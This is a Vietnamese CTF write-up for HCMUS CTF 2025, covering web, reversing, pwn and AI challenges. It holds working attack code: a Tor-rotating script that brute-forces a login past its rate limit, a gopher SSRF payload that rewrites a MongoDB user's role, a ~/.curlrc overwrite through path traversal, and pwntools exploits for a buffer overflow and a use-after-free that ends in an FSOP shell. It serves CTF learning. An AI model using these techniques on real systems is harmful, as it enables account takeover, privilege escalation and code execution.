**UniverSea - HCMUS CTF 2025 Writeup**
# Web
## Web/MAL
Ở bài này flag được lưu trong secret

Chúng ta có thể thấy là secret random được lưu trước và cache.

Có nghĩa là trên web UI nó hiện ra chỉ là secret cũ chứ không phải flag
Trong file app/models/user.js, tại cấu hình Schema cho User, author đã set thuộc tính `usernameCaseInsensitive` thành true. Có nghĩa là database của challenge xử lý username không phân biệt hoa thường.

Và hàm`const existed_user = await jakanUsers.users(username, 'full');` này cũng không phân biệt hoa thường.

Vậy chúng ta chỉ đơn giản là đổi username `Dat2Phit` thành `Dat2phit` là có thể bypass được cache. Điều quan trọng là chúng ta phải có mật khẩu của user `Dat2Phit`.
Mà mật khẩu chỉ được khởi tạo bởi 5 chữ số từ 00000 -> 99999 cho nên ta có thể brute force được

Nhưng server lại rate limit chỉ cho phép 5 request mỗi phút.

Mình dùng tor để đổi ip sau 5 req. Script như sau:
script.py:
```python
import requests
import time
from stem import Signal
from stem.control import Controller
import sys
TARGET_URL = "<url_chall>/login"
USERNAME = "Dat2Phit"
TOR_SOCKS_PORT = 9050
TOR_CONTROL_PORT = 9051
tor_proxies = {
'http': f'socks5h://127.0.0.1:{TOR_SOCKS_PORT}',
'https': f'socks5h://127.0.0.1:{TOR_SOCKS_PORT}'
}
def renew_tor_ip():
try:
with Controller.from_port(port=TOR_CONTROL_PORT) as controller:
controller.authenticate()
controller.signal(Signal.NEWNYM)
print("[+] Đã gửi tín hiệu đổi IP mới tới Tor.")
time.sleep(controller.get_newnym_wait())
except Exception as e:
print(f"[!] Lỗi khi kết nối tới Tor Control Port: {e}")
print("[!] Gợi ý: Hãy chắc chắn Tor đang chạy với file cấu hình `torrc` đúng.")
sys.exit(1)
print("[*] Bắt đầu brute-force...")
renew_tor_ip()
for i in range(100000):
password = str(i).zfill(5)
if i > 0 and i % 5 == 0:
print("\n--- Đạt đến giới hạn 5 requests, đang đổi IP ---")
renew_tor_ip()
login_data = {
"username": USERNAME,
"password": password
}
try:
response = requests.post(
TARGET_URL,
data=login_data,
proxies=tor_proxies,
timeout=15,
allow_redirects=False
)
if response.status_code != 302:
with open('status_429.txt', 'a') as f:
f.write(f'{password}\n')
print(f"[*] Đang thử password: {password} qua Tor... | Status: {response.status_code}")
if response.status_code == 302 and 'index' in response.text:
print("\n" + "="*40)
print(f"[!!!] THÀNH CÔNG! MẬT KHẨU LÀ: {password}")
print(f"[*] Redirect đến: {response.headers['location']}")
print(f"[*] Session cookie: {response.cookies.get_dict()}")
print("="*40 + "\n")
break
except requests.exceptions.RequestException as e:
print(f"[!] Lỗi request qua Tor: {e}")
print("[!] Đang thử đổi IP và kết nối lại...")
renew_tor_ip()
```
May thật :v !!!

Lụm flag:

>`HCMUS-CTF{D1d_y0u_u53_B1n4ry_s34rcH?:v}`
## Web/BALD
Ở bài này mục tiêu là lên được role `super_admin`

Tại đây có lỗ hổng SSRF

Lỗ hổng SSRF với curl command kết hợp với mongo ->mình đã nảy ra trong khi dạo lướt hacktrick

Chính là sử dụng gopher, có ý tưởng rồi thì triển thôi.
Để tạo được payload gopher thì đầu tiên chúng ta cần bắt được gói tin bằng wireshark trước đã.

Step1: Tại container `mal-app` chúng ta sẽ bắt gói tin với command
`apt-get update && apt-get install tcpdump`
`tcpdump -i eth0 -w capture.pcap`

Step 2: mình sẽ sử dụng script gen sau để tạo 1 gói tin update user `Dat2Phit` lên role `super_admin`
```js
const { MongoClient } = require('mongodb');
const readline = require('readline');
const uri = 'mongodb://mongo:27017/MAL';
const dbName = 'MAL';
const collectionName = 'users';
const query = { "username": "Dat2Phit" };
const updateData = { "$set": { "role": "super_admin" } };
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
async function main() {
const client = new MongoClient(uri);
try {
await client.connect();
console.log("Successfully connected to local MongoDB.");
const database = client.db(dbName);
const collection = database.collection(collectionName);
console.log("Ready to capture packets on Wireshark...");
await new Promise(resolve => rl.question("Press Enter to send the update command to MongoDB...", resolve));
const result = await collection.updateOne(query, updateData);
console.log(`Command sent! ${result.modifiedCount} document(s) updated.`);
} catch (e) {
console.error(e);
} finally {
await client.close();
rl.close();
}
}
main().catch(console.error);
```

Step 3: Tải file pcap về phân tích



Ở trên thì ta có thể thấy gói tin mà ta cần chính là dòng màu đỏ thứ 2 (chứa lệnh update)
Step 4: Chọn Show as Raw và copy đoạn hex đó

Step 5: Cuối cùng là gen payload gopher
```python
hex_string = "c50000000400000000000000dd0700000000000000b0000000027570646174650006000000757365727300047570646174657300550000000330004d0000000371001c00000002757365726e616d65000900000044617432506869740000037500260000000324736574001b00000002726f6c65000c00000073757065725f61646d696e0000000000086f7264657265640001036c736964001e000000056964001000000004b0fbfd8eb4bf45a38d3e0ef0860e6ddf000224646200040000004d414c0000"
hex_string = ''.join(c for c in hex_string if c in '0123456789abcdefABCDEF')
encoded_payload = "".join([f"%{hex_string[i:i+2]}" for i in range(0, len(hex_string), 2)])
print("gopher://mongo:27017/_"+encoded_payload)
```

### Exploit SSRF
Step 1: lợi dụng lỗ hổng Mass Assignment để ghi đè lên mảng `data.favorites.anime`. Tạo ra một "favorites anime" giả với URL image là payload gopher

```
POST /user/Dat2Phit/edit HTTP/1.1
Host: chall.blackpinker.com:32795
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Origin: http://chall.blackpinker.com:32795
Connection: keep-alive
Referer: http://chall.blackpinker.com:32795/user/Dat2Phit/edit
Cookie: session=eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiJEYXQyUGhpdCJ9fQ==; session.sig=PT8NZuTWC_4qKWLaOrXppHOybbg
Upgrade-Insecure-Requests: 1
Priority: u=0, i
secret=HCMUS-CTF{D1d_y0u_u53_B1n4ry_s34rcH?:v}&data[favorites][anime][0][mal_id]=1&data[favorites][anime][0][title]=SSRF_Attack&data[favorites][anime][0][images][webp][large_image_url]=gopher://mongo:27017/_%c5%00%00%00%04%00%00%00%00%00%00%00%dd%07%00%00%00%00%00%00%00%b0%00%00%00%02%75%70%64%61%74%65%00%06%00%00%00%75%73%65%72%73%00%04%75%70%64%61%74%65%73%00%55%00%00%00%03%30%00%4d%00%00%00%03%71%00%1c%00%00%00%02%75%73%65%72%6e%61%6d%65%00%09%00%00%00%44%61%74%32%50%68%69%74%00%00%03%75%00%26%00%00%00%03%24%73%65%74%00%1b%00%00%00%02%72%6f%6c%65%00%0c%00%00%00%73%75%70%65%72%5f%61%64%6d%69%6e%00%00%00%00%00%08%6f%72%64%65%72%65%64%00%01%03%6c%73%69%64%00%1e%00%00%00%05%69%64%00%10%00%00%00%04%b0%fb%fd%8e%b4%bf%45%a3%8d%3e%0e%f0%86%0e%6d%df%00%02%24%64%62%00%04%00%00%00%4d%41%4c%00%00
```

Step 2: Truy cập `GET /user/Dat2PhIt/export` để kích hoạt curl
Step 3: `GET /super_admin/flag`
> `HCMUS-CTF{Priv3SC_Thr0uGh_G0ph3r_n1c3!}`
## Web/MALD
Bài này là flag 2 nhưng mình lại giải ra sau cùng bởi vì blind SSRF không lấy flag ra được.
Flag chỉ được trả về nếu ta là localhost

Còn 1 chức năng mình chưa đụng tới là `POST /admin/archive/`
Kết hợp với SSRF tại curl thì ý tưởng của mình sẽ là ghi ra 1 file config sử dụng option `--config` hay `-K` nhưng mà không được

Thì sau 1 hồi fuzz mình phát hiện tại đây có dính lổ hổng path traversal.

Vậy chúng ta có thể write file tùy ý.
Trong khi mình tìm ý tưởng khác ngoài `-K`, `--config` thì phát hiện được trick mới lạ với chatgpt

Vậy là tất cả đều sáng tỏ, giờ chúng ta sẽ write file `~/.curlrc` thay cho option `-K`,`--config`

Write thành công

Cuối cùng là access route `GET /user/DaT2PhIT/export` để cho lệnh curl chạy (nó sẽ tự động tìm và load file config `~/.curlrc` )

Done!
> `HCMUS-CTF{Sh0uldnt_h4v3_1mpl3m3nt3d_1t}`
Ngoài ra thì với cách này chúng ta có hết lấy hết tất cả flag của 3 bài luôn chỉ cần thay url `http://127.0.0.1/admin/flag` thành `file:///proc/1/environ` là được. Ảo thật đấy!

# Reversing
## Reversing/Finesse
Vào trang web thì thấy nó sử dụng `PDF.js` có nghĩa nó đã nhúng java script vào pdf. Ta sẽ tải file pdf xuống sau đó sủ dụng `pdf-parser` để extract mã ra.
```
pdf-parser main.pdf >> text.txt
pdf-parser --search /JS main.pdf
pdf-parser --object 7 --raw --filter main.pdf
```

```javascript=
const a = 10;
const b = 20;
var c = {
0: ["RGB", 1.0, 1.0, 0.0],
1: ["RGB", 0.0, 1.0, 1.0],
2: ["RGB", 0.0, 1.0, 0.0],
3: ["RGB", 1.0, 0.0, 0.0],
4: ["RGB", 1.0, 0.5, 0.0],
5: ["RGB", 0.0, 0.0, 1.0],
6: ["RGB", 0.6, 0.0, 0.6]
};
function d(e, f) {
return app.setInterval("(" + e.toString() + ")();", f);
}
var g = Date.now() % 2147483647;
function h() {
return g = g * 16807 % 2147483647;
}
var i = [1, 2, 2, 2, 4, 4, 4];
var j = [0, 0, -1, 0, -1, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -2, 0, -1, 0, 1, 0, 0, 0, 0, 1, 0, -1, 0, -2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, -1, 1, 0, 0, 0, 0, 1, 1, 0, 1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, 1, -1, 0, 0, 1, 1, 1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, -1, 1, 0, 0, 0, 0, 1, 0, -1, 1, -1, 0, 0, -1, 0, 1, 0, 1, 1, 0, 0, -1, 1, 0, 1, 0, -1, 0, 0, -1, 0, 1, 0, 1, -1, 0, 0, 0, 1, 0, -1, 1, 1, 0, 0, -1, 1, -1, 0, 1, 0, 0, 0, 0, 1, 0, -1, -1, -1, 0, 0, -1, 0, 0, -1, 1, 0, 0, 0, 0, 1, 0, -1, 1, 0, 0, 0, -1, 0, 0, 1, 1, 0, 0, 0, -1, 0, 0, 1, 0, -1];
var k = 50;
var l = 400;
var m = [];
var n = [];
var o = 0;
var p = 0;
var q = 0;
var r = 0;
var s = [];
var t = 0;
var u = false;
var v = false;
var w = h() % 7;
var x = 0;
var y = 0;
var z = 0;
function aa() {
w = h() % 7;
x = 4;
y = 0;
z = 0;
for (var ab = 0; ab < 4; ++ab) {
var ac = j[w * 32 + z * 8 + ab * 2];
var ad = j[w * 32 + z * 8 + ab * 2 + 1];
var ae = x + ac;
var af = y + ad;
if (ae >= 0 && ae < a && af >= 0 && af < b) {
if (n[ae][af] !== 0) {
an();
return false;
}
}
}
return true;
}
function ag(ah) {
this.getField("T_input").hidden = !ah;
this.getField("B_left").hidden = !ah;
this.getField("B_right").hidden = !ah;
this.getField("B_down").hidden = !ah;
this.getField("B_rotate").hidden = !ah;
}
function ai() {
for (var aj = 0; aj < a; ++aj) {
m[aj] = [];
n[aj] = [];
for (var ak = 0; ak < b; ++ak) {
m[aj][ak] = this.getField(`P_${aj}_${ak}`);
n[aj][ak] = 0;
}
}
aa();
q = p;
o = 0;
u = true;
r = d(cz, k);
this.getField("B_start").hidden = true;
ag(true);
}
function al() {
var am = true;
if (p - q >= l) {
am = bv();
q = p;
}
return am;
}
function an() {
u = false;
app.clearInterval(r);
for (var ao = 0; ao < a; ++ao) {
for (var ap = 0; ap < b; ++ap) {
m[ao][ap].fillColor = color.black;
m[ao][ap].hidden = false;
}
}
app.alert(`Game over! Score: ${o}\nRefresh to restart.`);
}
function aq(ar) {
if (ar === 1) {
return [
[0, 0],
[1, 0],
[-1, 0],
[2, 0],
[-2, 0],
[0, -1],
[1, -1],
[-1, -1],
[0, -2]
];
} else {
return [
[0, 0],
[1, 0],
[-1, 0],
[0, -1],
[1, -1],
[-1, -1],
[0, -2]
];
}
}
function as() {
if (!u) return;
t += 1;
var at = z;
var au = (z + 1) % i[w];
var av = aq(w);
for (var aw = 0; aw < av.length; aw++) {
var ax = av[aw][0];
var ay = av[aw][1];
var az = true;
for (var ba = 0; ba < 4; ++ba) {
var bb = j[w * 32 + au * 8 + ba * 2];
var bc = j[w * 32 + au * 8 + ba * 2 + 1];
var bd = x + bb + ax;
var be = y + bc + ay;
if (bd < 0 || bd >= a || be < 0 || be >= b || n[bd][be] !== 0) {
az = false;
break;
}
}
if (az) {
z = au;
x += ax;
y += ay;
return;
}
}
}
function bf() {
if (!u) return;
t += 2;
x--;
if (bh()) x++;
}
function bg() {
if (!u) return;
t += 3;
x++;
if (bh()) x--;
}
function bh() {
for (var bi = 0; bi < 4; ++bi) {
var bj = j[w * 32 + z * 8 + bi * 2];
var bk = j[w * 32 + z * 8 + bi * 2 + 1];
var bl = x + bj;
var bm = y + bk;
if (bl < 0 || bl >= a || n[bl][bm]) return true;
}
return false;
}
function bn(bo) {
if (!u) return;
switch (bo.change) {
case 'w':
as();
break;
case 'a':
bf();
break;
case 'd':
bg();
break;
case 's':
bv();
break;
case ' ':
cc();
break;
}
}
function bp() {
for (var bq = 0; bq < b; ++bq) {
var br = true;
for (var bs = 0; bs < a; ++bs) {
if (n[bs][bq] === 0) {
br = false;
break;
}
}
if (br) {
o++;
cj();
for (var bt = bq; bt > 0; --bt) {
for (var bu = 0; bu < a; ++bu) {
n[bu][bt] = n[bu][bt - 1];
}
}
for (var bu = 0; bu < a; ++bu) {
n[bu][0] = 0;
}
bq--;
}
}
}
function bv() {
var bw = false;
y++;
for (var bx = 0; bx < 4; ++bx) {
var by = j[w * 32 + z * 8 + bx * 2];
var bz = j[w * 32 + z * 8 + bx * 2 + 1];
var ca = x + by;
var cb = y + bz;
if (ca < 0 || cb < 0 || ca >= a || cb >= b || n[ca][cb]) {
bw = true;
break;
}
}
if (bw) {
y--;
for (var bx = 0; bx < 4; ++bx) {
var by = j[w * 32 + z * 8 + bx * 2];
var bz = j[w * 32 + z * 8 + bx * 2 + 1];
var ca = x + by;
var cb = y + bz;
if (cb < 0) {
an();
return false;
}
}
for (var bx = 0; bx < 4; ++bx) {
var by = j[w * 32 + z * 8 + bx * 2];
var bz = j[w * 32 + z * 8 + bx * 2 + 1];
var ca = x + by;
var cb = y + bz;
n[ca][cb] = w + 1;
}
bp();
s.push(t % 32);
t = 0;
da();
return aa();
}
return true;
}
function cc() {
while (true) {
y++;
var cd = false;
for (var ce = 0; ce < 4; ++ce) {
var cf = j[w * 32 + z * 8 + ce * 2];
var cg = j[w * 32 + z * 8 + ce * 2 + 1];
var ch = x + cf;
var ci = y + cg;
if (ch < 0 || ci < 0 || ch >= a || ci >= b || n[ch][ci]) {
cd = true;
break;
}
}
if (cd) {
y--;
bv();
break;
}
}
}
function cj() {
if (v) return;
this.getField("T_score").value = `Score: ${o}`;
}
function ck(cl, cm, cn) {
if (cl < 0 || cm < 0 || cl >= a || cm >= b) return;
var co = m[cl][b - 1 - cm];
if (cn) {
co.hidden = false;
co.fillColor = c[cn - 1];
} else {
co.hidden = true;
co.fillColor = color.transparent;
}
}
function cp() {
for (var cq = 0; cq < a; ++cq) {
for (var cr = 0; cr < b; ++cr) {
ck(cq, cr, n[cq][cr]);
}
}
}
function cs() {
for (var ct = 0; ct < 4; ++ct) {
var cu = j[w * 32 + z * 8 + ct * 2];
var cv = j[w * 32 + z * 8 + ct * 2 + 1];
var cw = x + cu;
var cx = y + cv;
ck(cw, cx, w + 1);
}
}
function cy() {
cp();
cs();
}
function cz() {
if (!u) return;
p += k;
if (al()) cy();
}
function da() {
var db = s.length - 1;
for (var dc = 0; dc < 129; dc++) {
var dd = parseInt(this.getField(`M_${dc}`).value);
var de = parseInt(this.getField(`M_${dc}_${db}`).value);
this.getField(`M_${dc}`).value = dd + de * s[db];
}
if (db == 128) {
for (var dc = 0; dc < 129; dc++) {
if (this.getField(`M_${dc}`).value != this.getField(`G_${dc}`).value) {
s = [];
return;
}
}
df();
}
}
function df() {
u = false;
v = true;
var dg = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~";
var dh = "";
for (var di = 0; di < s.length / 3; di++) {
dh += dg[s[3 * di] + s[3 * di + 1] + s[3 * di + 2]];
}
app.alert(`${dh}`);
}
ag(false);
app.execMenuItem("FitPage");
```
Ta thấy flag sẽ in ra khi `M_` bằng với `G_` và trước đó nó biến đổi qua `s`.

Ta có thể tìm lại `s` và in ra flag như sau.
```py=
import re
data = open("text.txt", "r").read()
data = data.split("\n")
G = []
index = 0
for i in range(len(data)):
if f"/T (G_{index})" in data[i]:
p = re.compile(r"(\d+)")
match = p.search(data[i+1])
if match:
G.append(int(match.group(1)))
index += 1
if index == 129:
break
# print(G[0:129])
M1 = []
index = 0
for i in range(len(data)):
if f"/T (M_{index})" in data[i]:
p = re.compile(r"(\d+)")
match = p.search(data[i+1])
if match:
M1.append(int(match.group(1)))
index += 1
if index == 129:
break
# print(M1[0:129])
M = [[0 for _ in range(129)] for _ in range(129)]
index_i = 0
index_j = 0
for i in range(len(data)):
if f"/T (M_{index_i}_{index_j})" in data[i]:
p = re.compile(r"(\d+)")
match = p.search(data[i+1])
if match:
M[index_i][index_j] = int(match.group(1))
index_j += 1
if index_j == 129:
index_j = 0
index_i += 1
if index_i == 129:
break
import numpy as np
b = np.array([G[i] - M1[i] for i in range(129)])
A = np.array(M)
s = np.linalg.solve(A, b)
s = np.round(s).astype(int)
s = s.tolist()
dg = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
flag = ""
for i in range(len(s) // 3):
flag += dg[s[3 * i] + s[3 * i + 1] + s[3 * i + 2]]
print(flag)
# HCMUS-CTF{w0w_u_r3a11y_r_4_T4Tr15_g0d_huh?}
```
## Reversing/Hide and Seek
Ta sẽ debug và patch 0xe9 thành nop. Ta debug thì thấy nó bị một exception và sẽ nhảy đến handler để xử lý.

Tại đây nó sẽ read input. Và input sẽ được swap thông qua key (0x13371337)

Sau đó nó sẽ mở file và ghi đè key và thực thi.



Sau mỗi lần chạy thì index sẽ tăng lên và input sẽ xor với key. Sau đó key tiếp tục được biến đổi.

Ta có thể giải mã lại như sau.
```py=
def calc(x):
x = 0x3C6EF35F + (1664525 * x) & 0xFFFFFFFF
return x & 0xFFFFFFFF
ct = b'1234567890123456789012345678901234567890123456'
ct = list(ct)
list_key = []
key = 0x13371337
for i in range(45, 0, -1):
key = calc(key)
v7 = key % (i + 1)
list_key.append((i, v7))
ct[i], ct[v7] = ct[v7], ct[i]
ct = [0x72, 0xC3, 0x6B, 0x0C, 0xCF, 0x65, 0xED, 0xBA, 0x18, 0xCA,
0x8F, 0x99, 0xE6, 0x8A, 0x7F, 0xA6, 0xE4, 0x44, 0x4C, 0x14,
0x5B, 0x9E, 0x73, 0xD3, 0x61, 0xEB, 0x44, 0x82, 0x0D, 0xC4,
0x07, 0xC7, 0xE5, 0x82, 0xE5, 0xB7, 0x0A, 0x39, 0x4C, 0xD2,
0x51, 0x53, 0x05, 0x50, 0x12, 0x6C, 0x00, 0x2F, 0x70, 0x72,
0x6F, 0x63, 0x2F, 0x73, 0x65, 0x6C, 0x66, 0x2F, 0x65, 0x78,
0x65]
key = 0x1ACC7706
for i in range(0, len(ct)):
ct[i] ^= key & 0xFF
key = (0x3C6EF35F + (0x19660D * key) & 0xFFFFFFFF) & 0xFFFFFFFF
for i in reversed(range(len(list_key))):
j, v7 = list_key[i]
ct[j], ct[v7] = ct[v7], ct[j]
print(bytes(ct))
# HCMUS-CTF{d1d_y0u_kn0vv_y0u12_O5_c4n_d0_th1s?}
```
# Pwn
## challenge cses
như mô tả của challenge thì ta có:
- "!" submit câu trả lời
- "?" query bit
- khi reverse lại challenge thì ta có buffer overflow

- vì biến query nằm trên array có chứa 100 giá trị được shuffle random
- tên ta có thể overflow, theo đó thì có thể skip 14 số ko cần đoán giá trị

- ngoài ra khi query còn thấy được rằng

- các giá trị khi query được lấy từ arr làm index không được check bound nên ta có thể sử dụng để đọc các giá trị ngoài phạm vi, vì vậy ta có thể đọc được lên tới 84 số trong 6 lần lặp, cộng với 14 số cố định tổng cộng có 98 số còn 2 số còn lại có thể bruteforce, mà nó lâu ......
```python
#!/usr/bin/env python3
from pwn import *
# Set the context for the binary
context.binary = '/home/as/ctf/hcmus/cses/chall'
context.terminal = ["alacritty", "-e"]
import warnings
warnings.filterwarnings("ignore")
import random
def generate_random_notin_list(excluded_numbers, start, end):
excluded_set = set(excluded_numbers)
if end - start + 1 <= len(excluded_set):
possible_numbers = set(range(start, end + 1))
valid_numbers = list(possible_numbers - excluded_set)
if not valid_numbers:
return None
return random.choice(valid_numbers)
while True:
random_number = random.randint(start, end)
if random_number not in excluded_set:
return random_number
def solve():
# while True:
# p = process("nc chall.blackpinker.com 33636".split())
while True:
p = process()
# p = process("nc chall.blackpinker.com 33883".split())
try:
try:
n_str = p.recvline().strip().decode()
n = int(n_str)
log.info(f"Permutation size n = {n}")
except (ValueError, IndexError):
log.error("Failed to receive n. Exiting.")
# return
# num_bits = (n - 14).bit_length() if n > 0 else 0
# print(f"{num_bits = }")
data = []
tmp = b""
for i in range(6):
b_str = b"1"* 100+ p32(0) + p64(0) * 3
patched = b""
for k in range(14):
patched = patched +p32((0xb8 + i * (14 * 4)) + k * 4 + 1)
tmp = patched
b_str = b_str + patched
b_str = b_str[:-1]
print(f"{len(b_str) = }")
# input("-> ")
p.sendline(b"? " + b_str)
c_str = p.recvline().strip().decode()
buffer = c_str
chunk_size = 1
chunks = [u8(buffer[i:i + chunk_size]) for i in range(0, len(buffer), chunk_size)]
for i in range(14):
data.append(chunks[i])
print(f"{c_str = }")
# gdb.attach(p, gdbscript="""
# idasync start
# """)
print(f"{len(data) = }")
# print(data)
buffer = tmp
chunk_size = 4
chunk_tmp = [u32(buffer[i:i + chunk_size]) for i in range(0, len(buffer), chunk_size)]
# input("final ->")
range_start = 1
range_end = 100
data.append(generate_random_notin_list(data, range_start, range_end))
data.append(generate_random_notin_list(data, range_start, range_end))
p.sendline(b"!")
for item in chunk_tmp:
p.sendline(str(item).encode())
for item in data:
p.sendline(str(item).encode())
print(f"{len(data) = }")
# print(data)
# p.sendline(b"6")
# p.sendline(b"70")
# for i in range(len(data)):
# send_str += data[i]
#
# c_str = tmp + b"\n".join(data)
# p.sendline(b"! ")
# print(c_str)
# try:
# p.interactive()
try:
p.recvuntil("Wrong answer")
p.close()
except:
# p.recuntil("Congratulations! Here's your flag:")
p.interactive()
# break
except:
p.close()
pass
# try:
# p.recvuntil("Congratulations! Here's your flag:")
# p.interactive()
# break
# except:
# p.close()
# pass
if __name__ == "__main__":
solve()
```
## challenge animal
```python
void introduce() {
std::string name;
std::cout << "Hello, what's your name? > ";
getline(std::cin, name);
std::cout << "Hi, " << name << ". Have fun today!" << std::endl;
}
```
bài sử dụng getline để nhận buffer, tuy nhiên chủ yếu fuzzing ra nhanh, khi nhập buffer quá lớn và sau khi chọn option -4 thì chương trình crash

khi backtrace ta thấy được các parameter của hàm output hiện ra, thay s = địa chỉ flag và n = size là có thể leak flag, vì bài compile -no-pie nên địa chỉ bss không random
tuy nhiên có thể do overwrite ngẫu nhiên trên structure của hàm output nên phải thử nhiều lần sẽ ra flag
## challenge dragon ball
về cơ bản thì challenge có bug đó là uaf

khi vào hàm này nếu tồn tại obj của player đã init thì nó sẽ auto call hàm destruct nếu ta chọn 1 class khác (obj = namek, server = earth) kèm theo đó là player hiện tại bị trừ gold
- tuy nhiên nếu hết gold thì nó return ngay sau khi destruct
```c
void __fastcall earth_destruct(player *obj)
{
if ( obj->SKILL )
free(obj->SKILL);
}
```
Thì SKILL element trong obj đó bị free mà không xóa dẫn tới UAF
Tiếp theo đó ta tiến hành sử dụng cái này để khai thác kết hợp với hàm broadcast_message và sẽ có thể sử dụng pointer để leak và khai thác heap

overwrite special_name để leak dữ liệu

thì khi ta dùng broadcast_message với length xác định là có thể sử dụng lại pointer đã bị free trước đó, sau đó control structure
đó là phần leak
về phần rce thì ta có thể sử dụng double free fastbin vì pointer fastbin có thể bypass double free khi free 1 chunk giữa,
như trước đó ta có chiếc dangling pointer, ta có thể dùng nó luôn, thì ta tạo message đầu tiên là chiếc dangling pointer theo code thì

hàm free free từ head xuống tail, tuy nhiên message cuối cùng được tạo sẽ là head và message về sau là message được tạo từ lúc đầu tiên

vì vậy thuận lợi hơn cho việc tạo double free (mọi thứ trong script)
rce có thể overwrite stdout dùng fsop để rce
```python
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore")
exe = ELF("./chall")
libc = ELF("./libc.so.6")
# context.log_level='debug'
# p = remote("addr", 1337)
p = process([exe.path])
# p = process("nc chall.blackpinker.com 33394".split())
# p = process("nc 127.0.0.1 12132".split())
context.arch = "amd64"
script="""
idasync start
define check
tel &message_list_head
end
define checkpl
tel ¤tPlayer
end
b*0x7ffff7c8ca9b
"""
def GDB():
context.terminal = ["alacritty", "-e"]
gdb.attach(p, gdbscript=script)
# input("enter to continue-> ")
# p = gdb.debug([exe.path], gdbscript=script)
# return p
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def signup(server):
sla("choice:", str(1))
sla("choice:", str(server))
def fight(enemy, skill):
sla("choice:", str(6))
sla("ose enemy type (1-5):", str(enemy))
sla("skill sequence (1=melee, 2=blast, 3=special):", skill)
def message(data):
sla("choice:", str(7))
sla("o 1023 bytes):", data)
def free_message():
sla("choice:", str(9))
def update(kind, amount):
sla("choice:", str(3))
sla("choice:", str(kind))
sla('ter amount:', str(amount))
def upgrade_special():
sla("choice:", str(4))
def set_class(num):
sla("choice:", str(5))
sla("choice:", str(num))
def view_message():
sla("choice:", str(8))
def view_player():
sla("choice:", str(2))
def protect(ptr1,ptr2):
return ptr1^(ptr2>>12)
signup(2)
# for i in range(6):
# message(b"a" * (0x30 - 1 - 8 - 1))
set_class(1)
set_class(3)
set_class(1)
set_class(3)
set_class(1)
set_class(3)
fight(1, "121212232112313212312313212122221231231321")
message(b"a" * (0x30 - 1 - 8 - 1))
signup(3)
# set_class(3)
view_message()
p.recvuntil("om [")
p.recvuntil(": ")
addr = u64(p.recvuntil("\n", drop=True).ljust(8, b"\0"))
exe.address = addr - 0x4512
print(f"{hex(exe.address) = }")
free_message()
# fight(1, "1223121222222121212121")
payload = p64(exe.sym.stdout)
message(payload.ljust((0x30 - 1 - 8 - 1), b"\0"))
view_player()
p.recvuntil("Special: ")
addr = u64(p.recvuntil(" [L", drop=True).ljust(8, b"\0"))
libc.address = addr - 0x2045c0
print(f"{hex(libc.address) = }")
free_message()
payload = p64(exe.sym.message_list_head)
message(payload.ljust((0x30 - 1 - 8 - 1), b"\0"))
view_player()
p.recvuntil("Special: ")
addr = u64(p.recvuntil(" [L", drop=True).ljust(8, b"\0"))
heap = addr - 0x330
print(f"{hex(heap) = }")
signup(1)
# for i in range(7):
message(b"a" * (0x30 - 1 - 8 - 1))
set_class(3)
set_class(1)
set_class(3)
set_class(1)
set_class(3)
message(b"a" * (0x30 - 1 - 8 - 1))
signup(1)
for i in range(7):
message(b"a" * (0x30 - 1 - 8 - 1))
signup(1)
free_message()
for i in range(7):
message(b"a" * (0x30 - 1 - 8 - 1))
ptr = heap + 0x370
payload = p64(protect(exe.sym.stdout, ptr))
message(payload.ljust((0x30 - 1 - 8 - 1), b"\0"))
message(b"".ljust((0x30 - 1 - 8 - 1), b"\0"))
message(b"".ljust((0x30 - 1 - 8 - 1), b"\0"))
# for i in range(10):
# for i in range(10):
fight(1, "121212121212121212121232132132123132123")
# update(3, 100)
signup(2)
fight(2, b"121212232112313212312313212122221231231321")
update(3, 150)
fight(2, b"121212232112313212312313212122221231231321")
update(3, 150)
target_stdout = heap +0x7e0
stdout_lock = libc.address + 0x205710 # _IO_stdfile_1_lock (symbol not exported)
stdout = target_stdout
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
# our gadget
gadget = libc.address + 0x00000000001724f0 # add rdi, 0x10 ; jmp rcx
fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end=libc.sym['system']
fake._IO_save_base = gadget
fake._IO_write_end=u64(b'/bin/sh\x00') # will be at rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = libc.address + 0x2037e0
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
message(bytes(fake))
payload = p64(target_stdout)
# GDB()
message(payload.ljust((0x30 - 1 - 8 - 1), b"\0"))
p.interactive()
```
# AI
## AI/gsql1
Dùng gemini =)))
chat: https://aistudio.google.com/app/prompts?state=%7B%22ids%22:%5B%221tfqFhT3SXfqT1x1-mmYWwUMsRDO6J75P%22%5D,%22action%22:%22open%22,%22userId%22:%22107397621963105812149%22,%22resourceKeys%22:%7B%7D%7D&usp=sharing

## AI/Campus Tour
**Giải pháp:**
Ở thử thách này mình sẽ sử dụng AI để đấm con bot này.

